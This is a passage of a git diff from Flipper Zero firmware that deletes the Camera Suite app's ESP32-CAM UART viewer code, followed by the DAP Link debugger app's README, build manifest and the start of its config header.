variable_item_set_current_value_text(item, orientation_text[index]); - app->orientation = orientation_value[index]; -} - -static void camera_suite_scene_settings_set_haptic(VariableItem* item) { - CameraSuite* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, haptic_text[index]); - app->haptic = haptic_value[index]; -} - -static void camera_suite_scene_settings_set_speaker(VariableItem* item) { - CameraSuite* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, speaker_text[index]); - app->speaker = speaker_value[index]; -} - -static void camera_suite_scene_settings_set_led(VariableItem* item) { - CameraSuite* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, led_text[index]); - app->led = led_value[index]; -} - -void camera_suite_scene_settings_submenu_callback(void* context, uint32_t index) { - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void camera_suite_scene_settings_on_enter(void* context) { - CameraSuite* app = context; - VariableItem* item; - uint8_t value_index; - - // Camera Orientation - item = variable_item_list_add( - app->variable_item_list, - "Orientation:", - 4, - camera_suite_scene_settings_set_camera_orientation, - app); - value_index = value_index_uint32(app->orientation, orientation_value, 4); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, orientation_text[value_index]); - - // Haptic FX ON/OFF - item = variable_item_list_add( - app->variable_item_list, "Haptic FX:", 2, camera_suite_scene_settings_set_haptic, app); - value_index = value_index_uint32(app->haptic, haptic_value, 2); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, haptic_text[value_index]); - - // Sound FX ON/OFF - item = variable_item_list_add( - app->variable_item_list, "Sound FX:", 2, camera_suite_scene_settings_set_speaker, app); - value_index = value_index_uint32(app->speaker, speaker_value, 2); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, speaker_text[value_index]); - - // LED FX ON/OFF - item = variable_item_list_add( - app->variable_item_list, "LED FX:", 2, camera_suite_scene_settings_set_led, app); - value_index = value_index_uint32(app->led, led_value, 2); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, led_text[value_index]); - - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdSettings); -} - -bool camera_suite_scene_settings_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - UNUSED(app); - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - } - return consumed; -} - -void camera_suite_scene_settings_on_exit(void* context) { - CameraSuite* app = context; - variable_item_list_set_selected_item(app->variable_item_list, 0); - variable_item_list_reset(app->variable_item_list); -} \ No newline at end of file diff --git a/applications/external/camera_suite/scenes/camera_suite_scene_start.c b/applications/external/camera_suite/scenes/camera_suite_scene_start.c deleted file mode 100644 index 0dda05ede..000000000 --- a/applications/external/camera_suite/scenes/camera_suite_scene_start.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../camera_suite.h" -#include "../helpers/camera_suite_custom_event.h" -#include "../views/camera_suite_view_start.h" - -void camera_suite_scene_start_callback(CameraSuiteCustomEvent event, void* context) { - furi_assert(context); - CameraSuite* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void camera_suite_scene_start_on_enter(void* context) { - furi_assert(context); - CameraSuite* app = context; - camera_suite_view_start_set_callback( - app->camera_suite_view_start, camera_suite_scene_start_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, CameraSuiteViewIdStartscreen); -} - -bool camera_suite_scene_start_on_event(void* context, SceneManagerEvent event) { - CameraSuite* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case CameraSuiteCustomEventStartLeft: - case CameraSuiteCustomEventStartRight: - case CameraSuiteCustomEventStartUp: - case CameraSuiteCustomEventStartDown: - // Do nothing. - break; - case CameraSuiteCustomEventStartOk: - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneMenu); - consumed = true; - break; - case CameraSuiteCustomEventStartBack: - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, CameraSuiteSceneStart)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - break; - } - } - - return consumed; -} - -void camera_suite_scene_start_on_exit(void* context) { - CameraSuite* app = context; - UNUSED(app); -} \ No newline at end of file diff --git a/applications/external/camera_suite/screenshots/camera_preview.png b/applications/external/camera_suite/screenshots/camera_preview.png deleted file mode 100644 index 5f66ec42c..000000000 Binary files a/applications/external/camera_suite/screenshots/camera_preview.png and /dev/null differ diff --git a/applications/external/camera_suite/screenshots/guide.png b/applications/external/camera_suite/screenshots/guide.png deleted file mode 100644 index 87ed51218..000000000 Binary files a/applications/external/camera_suite/screenshots/guide.png and /dev/null differ diff --git a/applications/external/camera_suite/screenshots/main_menu.png b/applications/external/camera_suite/screenshots/main_menu.png deleted file mode 100644 index 3ae802cc2..000000000 Binary files a/applications/external/camera_suite/screenshots/main_menu.png and /dev/null differ diff --git a/applications/external/camera_suite/screenshots/settings.png b/applications/external/camera_suite/screenshots/settings.png deleted file mode 100644 index 32de46d72..000000000 Binary files a/applications/external/camera_suite/screenshots/settings.png and /dev/null differ diff --git a/applications/external/camera_suite/screenshots/start_screen.png b/applications/external/camera_suite/screenshots/start_screen.png deleted file mode 100644 index 6fe690c58..000000000 Binary files a/applications/external/camera_suite/screenshots/start_screen.png and /dev/null differ diff --git a/applications/external/camera_suite/views/camera_suite_view_camera.c b/applications/external/camera_suite/views/camera_suite_view_camera.c deleted file mode 100644 index 5d710044b..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_camera.c +++ /dev/null @@ -1,374 +0,0 @@ -#include "../camera_suite.h" -#include -#include -#include -#include -#include -#include "../helpers/camera_suite_haptic.h" -#include "../helpers/camera_suite_speaker.h" -#include "../helpers/camera_suite_led.h" - -static CameraSuiteViewCamera* current_instance = NULL; - -struct CameraSuiteViewCamera { - CameraSuiteViewCameraCallback callback; - FuriStreamBuffer* rx_stream; - FuriThread* worker_thread; - View* view; - void* context; -}; - -void camera_suite_view_camera_set_callback( - CameraSuiteViewCamera* instance, - CameraSuiteViewCameraCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - instance->callback = callback; - instance->context = context; -} - -// Function to draw pixels on the canvas based on camera orientation -static void draw_pixel_by_orientation(Canvas* canvas, uint8_t x, uint8_t y, uint8_t orientation) { - switch(orientation) { - case 0: // Camera rotated 0 degrees (right side up, default) - canvas_draw_dot(canvas, x, y); - break; - case 1: // Camera rotated 90 degrees - canvas_draw_dot(canvas, y, FRAME_WIDTH - 1 - x); - break; - case 2: // Camera rotated 180 degrees (upside down) - canvas_draw_dot(canvas, FRAME_WIDTH - 1 - x, FRAME_HEIGHT - 1 - y); - break; - case 3: // Camera rotated 270 degrees - canvas_draw_dot(canvas, FRAME_HEIGHT - 1 - y, x); - break; - default: - break; - } -} - -static void camera_suite_view_camera_draw(Canvas* canvas, void* _model) { - UartDumpModel* model = _model; - - // Clear the screen. - canvas_set_color(canvas, ColorBlack); - - // Draw the frame. - canvas_draw_frame(canvas, 0, 0, FRAME_WIDTH, FRAME_HEIGHT); - - CameraSuite* app = current_instance->context; - - for(size_t p = 0; p < FRAME_BUFFER_LENGTH; ++p) { - uint8_t x = p % ROW_BUFFER_LENGTH; // 0 .. 15 - uint8_t y = p / ROW_BUFFER_LENGTH; // 0 .. 63 - - for(uint8_t i = 0; i < 8; ++i) { - if((model->pixels[p] & (1 << (7 - i))) != 0) { - draw_pixel_by_orientation(canvas, (x * 8) + i, y, app->orientation); - } - } - } - - // Draw the guide if the camera is not initialized. - if(!model->initialized) { - canvas_draw_icon(canvas, 74, 16, &I_DolphinCommon_56x48); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 8, 12, "Connect the ESP32-CAM"); - canvas_draw_str(canvas, 20, 24, "VCC - 3V3"); - canvas_draw_str(canvas, 20, 34, "GND - GND"); - canvas_draw_str(canvas, 20, 44, "U0R - TX"); - canvas_draw_str(canvas, 20, 54, "U0T - RX"); - } -} - -static void camera_suite_view_camera_model_init(UartDumpModel* const model) { - for(size_t i = 0; i < FRAME_BUFFER_LENGTH; i++) { - model->pixels[i] = 0; - } -} - -static bool camera_suite_view_camera_input(InputEvent* event, void* context) { - furi_assert(context); - CameraSuiteViewCamera* instance = context; - if(event->type == InputTypeRelease) { - switch(event->key) { - default: // Stop all sounds, reset the LED. - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_bad_bump(instance->context); - camera_suite_stop_all_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 0); - }, - true); - break; - } - // Send `data` to the ESP32-CAM - } else if(event->type == InputTypePress) { - uint8_t data[1]; - switch(event->key) { - case InputKeyBack: - // Stop the camera stream. - data[0] = 's'; - // Go back to the main menu. - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - instance->callback(CameraSuiteCustomEventSceneCameraBack, instance->context); - }, - true); - break; - case InputKeyLeft: - // Camera: Invert. - data[0] = '<'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraLeft, instance->context); - }, - true); - break; - case InputKeyRight: - // Camera: Enable/disable dithering. - data[0] = '>'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraRight, instance->context); - }, - true); - break; - case InputKeyUp: - // Camera: Increase contrast. - data[0] = 'C'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraUp, instance->context); - }, - true); - break; - case InputKeyDown: - // Camera: Reduce contrast. - data[0] = 'c'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraDown, instance->context); - }, - true); - break; - case InputKeyOk: - // Switch dithering types. - data[0] = 'D'; - with_view_model( - instance->view, - UartDumpModel * model, - { - UNUSED(model); - camera_suite_play_happy_bump(instance->context); - camera_suite_play_input_sound(instance->context); - camera_suite_led_set_rgb(instance->context, 0, 0, 255); - instance->callback(CameraSuiteCustomEventSceneCameraOk, instance->context); - }, - true); - break; - case InputKeyMAX: - break; - } - // Send `data` to the ESP32-CAM - furi_hal_uart_tx(FuriHalUartIdUSART1, data, 1); - } - return true; -} - -static void camera_suite_view_camera_exit(void* context) { - furi_assert(context); -} - -static void camera_suite_view_camera_enter(void* context) { - // Check `context` for null. If it is null, abort program, else continue. - furi_assert(context); - - // Cast `context` to `CameraSuiteViewCamera*` and store it in `instance`. - CameraSuiteViewCamera* instance = (CameraSuiteViewCamera*)context; - - // Assign the current instance to the global variable - current_instance = instance; - - uint8_t data[1]; - data[0] = 'S'; // Uppercase `S` to start the camera - // Send `data` to the ESP32-CAM - furi_hal_uart_tx(FuriHalUartIdUSART1, data, 1); - - with_view_model( - instance->view, - UartDumpModel * model, - { camera_suite_view_camera_model_init(model); }, - true); -} - -static void camera_on_irq_cb(UartIrqEvent uartIrqEvent, uint8_t data, void* context) { - // Check `context` for null. If it is null, abort program, else continue. - furi_assert(context); - - // Cast `context` to `CameraSuiteViewCamera*` and store it in `instance`. - CameraSuiteViewCamera* instance = context; - - // If `uartIrqEvent` is `UartIrqEventRXNE`, send the data to the - // `rx_stream` and set the `WorkerEventRx` flag. - if(uartIrqEvent == UartIrqEventRXNE) { - furi_stream_buffer_send(instance->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(instance->worker_thread), WorkerEventRx); - } -} - -static void process_ringbuffer(UartDumpModel* model, uint8_t byte) { - // First char has to be 'Y' in the buffer. - if(model->ringbuffer_index == 0 && byte != 'Y') { - return; - } - - // Second char has to be ':' in the buffer or reset. - if(model->ringbuffer_index == 1 && byte != ':') { - model->ringbuffer_index = 0; - process_ringbuffer(model, byte); - return; - } - - // Assign current byte to the ringbuffer. - model->row_ringbuffer[model->ringbuffer_index] = byte; - // Increment the ringbuffer index. - ++model->ringbuffer_index; - - // Let's wait 'till the buffer fills. - if(model->ringbuffer_index < RING_BUFFER_LENGTH) { - return; - } - - // Flush the ringbuffer to the framebuffer. - model->ringbuffer_index = 0; // Reset the ringbuffer - model->initialized = true; // Established the connection successfully. - size_t row_start_index = - model->row_ringbuffer[2] * ROW_BUFFER_LENGTH; // Third char will determine the row number - - if(row_start_index > LAST_ROW_INDEX) { // Failsafe - row_start_index = 0; - } - - for(size_t i = 0; i < ROW_BUFFER_LENGTH; ++i) { - model->pixels[row_start_index + i] = - model->row_ringbuffer[i + 3]; // Writing the remaining 16 bytes into the frame buffer - } -} - -static int32_t camera_worker(void* context) { - furi_assert(context); - CameraSuiteViewCamera* instance = context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_EVENTS_MASK, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEventStop) { - break; - } else if(events & WorkerEventRx) { - size_t length = 0; - do { - size_t intended_data_size = 64; - uint8_t data[intended_data_size]; - length = - furi_stream_buffer_receive(instance->rx_stream, data, intended_data_size, 0); - - if(length > 0) { - with_view_model( - instance->view, - UartDumpModel * model, - { - for(size_t i = 0; i < length; i++) { - process_ringbuffer(model, data[i]); - } - }, - false); - } - } while(length > 0); - - with_view_model( - instance->view, UartDumpModel * model, { UNUSED(model); }, true); - } - } - - return 0; -} - -CameraSuiteViewCamera* camera_suite_view_camera_alloc() { - CameraSuiteViewCamera* instance = malloc(sizeof(CameraSuiteViewCamera)); - - instance->view = view_alloc(); - - instance->rx_stream = furi_stream_buffer_alloc(2048, 1); - - // Set up views - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(UartDumpModel)); - view_set_context(instance->view, instance); // furi_assert crashes in events without this - view_set_draw_callback(instance->view, (ViewDrawCallback)camera_suite_view_camera_draw); - view_set_input_callback(instance->view, camera_suite_view_camera_input); - view_set_enter_callback(instance->view, camera_suite_view_camera_enter); - view_set_exit_callback(instance->view, camera_suite_view_camera_exit); - - with_view_model( - instance->view, - UartDumpModel * model, - { camera_suite_view_camera_model_init(model); }, - true); - - instance->worker_thread = furi_thread_alloc_ex("UsbUartWorker", 2048, camera_worker, instance); - furi_thread_start(instance->worker_thread); - - // Enable uart listener - furi_hal_console_disable(); - furi_hal_uart_set_br(FuriHalUartIdUSART1, 230400); - furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, camera_on_irq_cb, instance); - - return instance; -} - -void camera_suite_view_camera_free(CameraSuiteViewCamera* instance) { - furi_assert(instance); - - with_view_model( - instance->view, UartDumpModel * model, { UNUSED(model); }, true); - view_free(instance->view); - free(instance); -} - -View* camera_suite_view_camera_get_view(CameraSuiteViewCamera* instance) { - furi_assert(instance); - return instance->view; -} \ No newline at end of file diff --git a/applications/external/camera_suite/views/camera_suite_view_camera.h b/applications/external/camera_suite/views/camera_suite_view_camera.h deleted file mode 100644 index 5ccbac71a..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_camera.h +++ /dev/null @@ -1,61 +0,0 @@ -#include "../helpers/camera_suite_custom_event.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#pragma once - -#define FRAME_WIDTH 128 -#define FRAME_HEIGHT 64 -#define FRAME_BIT_DEPTH 1 -#define FRAME_BUFFER_LENGTH 1024 -#define ROW_BUFFER_LENGTH 16 -#define RING_BUFFER_LENGTH 19 -#define LAST_ROW_INDEX 1008 - -extern const Icon I_DolphinCommon_56x48; - -typedef struct UartDumpModel UartDumpModel; - -struct UartDumpModel { - bool initialized; - int rotation_angle; - uint8_t pixels[FRAME_BUFFER_LENGTH]; - uint8_t ringbuffer_index; - uint8_t row_ringbuffer[RING_BUFFER_LENGTH]; -}; - -typedef struct CameraSuiteViewCamera CameraSuiteViewCamera; - -typedef void (*CameraSuiteViewCameraCallback)(CameraSuiteCustomEvent event, void* context); - -void camera_suite_view_camera_set_callback( - CameraSuiteViewCamera* camera_suite_view_camera, - CameraSuiteViewCameraCallback callback, - void* context); - -CameraSuiteViewCamera* camera_suite_view_camera_alloc(); - -void camera_suite_view_camera_free(CameraSuiteViewCamera* camera_suite_static); - -View* camera_suite_view_camera_get_view(CameraSuiteViewCamera* camera_suite_static); - -typedef enum { - // Reserved for StreamBuffer internal event - WorkerEventReserved = (1 << 0), - WorkerEventStop = (1 << 1), - WorkerEventRx = (1 << 2), -} WorkerEventFlags; - -#define WORKER_EVENTS_MASK (WorkerEventStop | WorkerEventRx) diff --git a/applications/external/camera_suite/views/camera_suite_view_guide.c b/applications/external/camera_suite/views/camera_suite_view_guide.c deleted file mode 100644 index 479f8d4d1..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_guide.c +++ /dev/null @@ -1,120 +0,0 @@ -#include "../camera_suite.h" -#include -#include -#include -#include -#include - -struct CameraSuiteViewGuide { - View* view; - CameraSuiteViewGuideCallback callback; - void* context; -}; - -typedef struct { - int some_value; -} CameraSuiteViewGuideModel; - -void camera_suite_view_guide_set_callback( - CameraSuiteViewGuide* instance, - CameraSuiteViewGuideCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - instance->callback = callback; - instance->context = context; -} - -void camera_suite_view_guide_draw(Canvas* canvas, CameraSuiteViewGuideModel* model) { - UNUSED(model); - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 0, 0, AlignLeft, AlignTop, "Guide"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 0, 12, AlignLeft, AlignTop, "Left = Toggle Invert"); - canvas_draw_str_aligned(canvas, 0, 22, AlignLeft, AlignTop, "Right = Toggle Dithering"); - canvas_draw_str_aligned(canvas, 0, 32, AlignLeft, AlignTop, "Up = Contrast Up"); - canvas_draw_str_aligned(canvas, 0, 42, AlignLeft, AlignTop, "Down = Contrast Down"); - // TODO: Possibly update to take picture instead. - canvas_draw_str_aligned(canvas, 0, 52, AlignLeft, AlignTop, "Center = Toggle Dither Type"); -} - -static void camera_suite_view_guide_model_init(CameraSuiteViewGuideModel* const model) { - model->some_value = 1; -} - -bool camera_suite_view_guide_input(InputEvent* event, void* context) { - furi_assert(context); - CameraSuiteViewGuide* instance = context; - if(event->type == InputTypeRelease) { - switch(event->key) { - case InputKeyBack: - with_view_model( - instance->view, - CameraSuiteViewGuideModel * model, - { - UNUSED(model); - instance->callback(CameraSuiteCustomEventSceneGuideBack, instance->context); - }, - true); - break; - case InputKeyLeft: - case InputKeyRight: - case InputKeyUp: - case InputKeyDown: - case InputKeyOk: - case InputKeyMAX: - // Do nothing. - break; - } - } - return true; -} - -void camera_suite_view_guide_exit(void* context) { - furi_assert(context); -} - -void camera_suite_view_guide_enter(void* context) { - furi_assert(context); - CameraSuiteViewGuide* instance = (CameraSuiteViewGuide*)context; - with_view_model( - instance->view, - CameraSuiteViewGuideModel * model, - { camera_suite_view_guide_model_init(model); }, - true); -} - -CameraSuiteViewGuide* camera_suite_view_guide_alloc() { - CameraSuiteViewGuide* instance = malloc(sizeof(CameraSuiteViewGuide)); - instance->view = view_alloc(); - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(CameraSuiteViewGuideModel)); - view_set_context(instance->view, instance); // furi_assert crashes in events without this - view_set_draw_callback(instance->view, (ViewDrawCallback)camera_suite_view_guide_draw); - view_set_input_callback(instance->view, camera_suite_view_guide_input); - view_set_enter_callback(instance->view, camera_suite_view_guide_enter); - view_set_exit_callback(instance->view, camera_suite_view_guide_exit); - - with_view_model( - instance->view, - CameraSuiteViewGuideModel * model, - { camera_suite_view_guide_model_init(model); }, - true); - - return instance; -} - -void camera_suite_view_guide_free(CameraSuiteViewGuide* instance) { - furi_assert(instance); - - with_view_model( - instance->view, CameraSuiteViewGuideModel * model, { UNUSED(model); }, true); - view_free(instance->view); - free(instance); -} - -View* camera_suite_view_guide_get_view(CameraSuiteViewGuide* instance) { - furi_assert(instance); - return instance->view; -} diff --git a/applications/external/camera_suite/views/camera_suite_view_guide.h b/applications/external/camera_suite/views/camera_suite_view_guide.h deleted file mode 100644 index cd78d4b01..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_guide.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../helpers/camera_suite_custom_event.h" - -typedef struct CameraSuiteViewGuide CameraSuiteViewGuide; - -typedef void (*CameraSuiteViewGuideCallback)(CameraSuiteCustomEvent event, void* context); - -void camera_suite_view_guide_set_callback( - CameraSuiteViewGuide* camera_suite_view_guide, - CameraSuiteViewGuideCallback callback, - void* context); - -View* camera_suite_view_guide_get_view(CameraSuiteViewGuide* camera_suite_static); - -CameraSuiteViewGuide* camera_suite_view_guide_alloc(); - -void camera_suite_view_guide_free(CameraSuiteViewGuide* camera_suite_static); \ No newline at end of file diff --git a/applications/external/camera_suite/views/camera_suite_view_start.c b/applications/external/camera_suite/views/camera_suite_view_start.c deleted file mode 100644 index a84ee50c2..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_start.c +++ /dev/null @@ -1,126 +0,0 @@ -#include "../camera_suite.h" -#include -#include -#include -#include - -struct CameraSuiteViewStart { - View* view; - CameraSuiteViewStartCallback callback; - void* context; -}; - -typedef struct { - int some_value; -} CameraSuiteViewStartModel; - -void camera_suite_view_start_set_callback( - CameraSuiteViewStart* instance, - CameraSuiteViewStartCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - instance->callback = callback; - instance->context = context; -} - -void camera_suite_view_start_draw(Canvas* canvas, CameraSuiteViewStartModel* model) { - UNUSED(model); - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignTop, "Camera Suite"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignTop, "Flipper Zero"); - canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, "ESP32 CAM"); - elements_button_center(canvas, "Start"); -} - -static void camera_suite_view_start_model_init(CameraSuiteViewStartModel* const model) { - model->some_value = 1; -} - -bool camera_suite_view_start_input(InputEvent* event, void* context) { - furi_assert(context); - CameraSuiteViewStart* instance = context; - if(event->type == InputTypeRelease) { - switch(event->key) { - case InputKeyBack: - // Exit application. - with_view_model( - instance->view, - CameraSuiteViewStartModel * model, - { - UNUSED(model); - instance->callback(CameraSuiteCustomEventStartBack, instance->context); - }, - true); - break; - case InputKeyOk: - // Start the application. - with_view_model( - instance->view, - CameraSuiteViewStartModel * model, - { - UNUSED(model); - instance->callback(CameraSuiteCustomEventStartOk, instance->context); - }, - true); - break; - case InputKeyMAX: - case InputKeyLeft: - case InputKeyRight: - case InputKeyUp: - case InputKeyDown: - // Do nothing. - break; - } - } - return true; -} - -void camera_suite_view_start_exit(void* context) { - furi_assert(context); -} - -void camera_suite_view_start_enter(void* context) { - furi_assert(context); - CameraSuiteViewStart* instance = (CameraSuiteViewStart*)context; - with_view_model( - instance->view, - CameraSuiteViewStartModel * model, - { camera_suite_view_start_model_init(model); }, - true); -} - -CameraSuiteViewStart* camera_suite_view_start_alloc() { - CameraSuiteViewStart* instance = malloc(sizeof(CameraSuiteViewStart)); - instance->view = view_alloc(); - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(CameraSuiteViewStartModel)); - // furi_assert crashes in events without this - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)camera_suite_view_start_draw); - view_set_input_callback(instance->view, camera_suite_view_start_input); - - with_view_model( - instance->view, - CameraSuiteViewStartModel * model, - { camera_suite_view_start_model_init(model); }, - true); - - return instance; -} - -void camera_suite_view_start_free(CameraSuiteViewStart* instance) { - furi_assert(instance); - - with_view_model( - instance->view, CameraSuiteViewStartModel * model, { UNUSED(model); }, true); - view_free(instance->view); - free(instance); -} - -View* camera_suite_view_start_get_view(CameraSuiteViewStart* instance) { - furi_assert(instance); - return instance->view; -} diff --git a/applications/external/camera_suite/views/camera_suite_view_start.h b/applications/external/camera_suite/views/camera_suite_view_start.h deleted file mode 100644 index e991cce92..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_start.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../helpers/camera_suite_custom_event.h" - -typedef struct CameraSuiteViewStart CameraSuiteViewStart; - -typedef void (*CameraSuiteViewStartCallback)(CameraSuiteCustomEvent event, void* context); - -void camera_suite_view_start_set_callback( - CameraSuiteViewStart* camera_suite_view_start, - CameraSuiteViewStartCallback callback, - void* context); - -View* camera_suite_view_start_get_view(CameraSuiteViewStart* camera_suite_static); - -CameraSuiteViewStart* camera_suite_view_start_alloc(); - -void camera_suite_view_start_free(CameraSuiteViewStart* camera_suite_static); \ No newline at end of file diff --git a/applications/external/dap_link/README.md b/applications/external/dap_link/README.md deleted file mode 100644 index aead0a60a..000000000 --- a/applications/external/dap_link/README.md +++ /dev/null @@ -1,105 +0,0 @@ -# Flipper Zero as CMSIS DAP/DAP Link -Flipper Zero as a [Free-DAP](https://github.com/ataradov/free-dap) based SWD\JTAG debugger. Free-DAP is a free and open source firmware implementation of the [CMSIS-DAP](https://www.keil.com/pack/doc/CMSIS_Dev/DAP/html/index.html) debugger. - -## Protocols -SWD, JTAG , CMSIS-DAP v1 (18 KiB/s), CMSIS-DAP v2 (46 KiB/s), VCP (USB-UART). - -WinUSB for driverless installation for Windows 8 and above. - -## Usage - -### VSCode + Cortex-Debug - Set `"device": "cmsis-dap"` - -
- BluePill configuration example - - ```json -{ - "name": "Attach (DAP)", - "cwd": "${workspaceFolder}", - "executable": "./build/firmware.elf", - "request": "attach", - "type": "cortex-debug", - "servertype": "openocd", - "device": "cmsis-dap", - "configFiles": [ - "interface/cmsis-dap.cfg", - "target/stm32f1x.cfg", - ], -}, - ``` -
- -
- Flipper Zero configuration example - - ```json -{ - "name": "Attach (DAP)", - "cwd": "${workspaceFolder}", - "executable": "./build/latest/firmware.elf", - "request": "attach", - "type": "cortex-debug", - "servertype": "openocd", - "device": "cmsis-dap", - "svdFile": "./debug/STM32WB55_CM4.svd", - "rtos": "FreeRTOS", - "configFiles": [ - "interface/cmsis-dap.cfg", - "./debug/stm32wbx.cfg", - ], - "postAttachCommands": [ - "source debug/flipperapps.py", - ], -}, - ``` -
- -### OpenOCD -Use `interface/cmsis-dap.cfg`. You will need OpenOCD v0.11.0. - -Additional commands: -* `cmsis_dap_backend hid` for CMSIS-DAP v1 protocol. -* `cmsis_dap_backend usb_bulk` for CMSIS-DAP v2 protocol. -* `cmsis_dap_serial DAP_Oyevoxo` use DAP-Link running on Flipper named `Oyevoxo`. -* `cmsis-dap cmd 81` - reboot connected DAP-Link. - -
- Flash BluePill - - ``` -openocd -f interface/cmsis-dap.cfg -f target/stm32f1x.cfg -c init -c "program build/firmware.bin reset exit 0x8000000" - ``` -
- -
- Flash Flipper Zero using DAP v2 protocol - - ``` -openocd -f interface/cmsis-dap.cfg -c "cmsis_dap_backend usb_bulk" -f debug/stm32wbx.cfg -c init -c "program build/latest/firmware.bin reset exit 0x8000000" - ``` -
- -
- Reboot connected DAP-Link on Flipper named Oyevoxo - - ``` -openocd -f interface/cmsis-dap.cfg -c "cmsis_dap_serial DAP_Oyevoxo" -c "transport select swd" -c "adapter speed 4000000" -c init -c "cmsis-dap cmd 81" -c "exit" - ``` -
- -### PlatformIO -Use `debug_tool = cmsis-dap` and `upload_protocol = cmsis-dap`. [Documentation](https://docs.platformio.org/en/latest/plus/debug-tools/cmsis-dap.html#debugging-tool-cmsis-dap). Remember that Windows 8 and above do not require drivers. - -
- BluePill platformio.ini example - - ``` -[env:bluepill_f103c8] -platform = ststm32 -board = bluepill_f103c8 -debug_tool = cmsis-dap -upload_protocol = cmsis-dap - ``` -
diff --git a/applications/external/dap_link/application.fam b/applications/external/dap_link/application.fam deleted file mode 100644 index 017143803..000000000 --- a/applications/external/dap_link/application.fam +++ /dev/null @@ -1,24 +0,0 @@ -App( - appid="dap_link", - name="DAP Link", - apptype=FlipperAppType.EXTERNAL, - entry_point="dap_link_app", - requires=[ - "gui", - "dialogs", - ], - stack_size=4 * 1024, - order=20, - fap_icon="dap_link.png", - fap_category="GPIO", - fap_private_libs=[ - Lib( - name="free-dap", - cincludes=["."], - sources=[ - "dap.c", - ], - ), - ], - fap_icon_assets="icons", -) diff --git a/applications/external/dap_link/dap_config.h b/applications/external/dap_link/dap_config.h deleted file mode 100644 index 88b90bd34..000000000 --- a/applications/external/dap_link/dap_config.h +++ /dev/null @@ -1,234 +0,0 @@ -// SPDX-License-Identifier: BSD-3-Clause -// Copyright (c) 2022, Alex Taradov . All rights reserved. - -#ifndef _DAP_CONFIG_H_ -#define _DAP_CONFIG_H_ - -/*- Includes ----------------------------------------------------------------*/ -#include - -/*- Definitions -------------------------------------------------------------*/ -#define DAP_CONFIG_ENABLE_JTAG - -#define DAP_CONFIG_DEFAULT_PORT DAP_PORT_SWD -#define DAP_CONFIG_DEFAULT_CLOCK 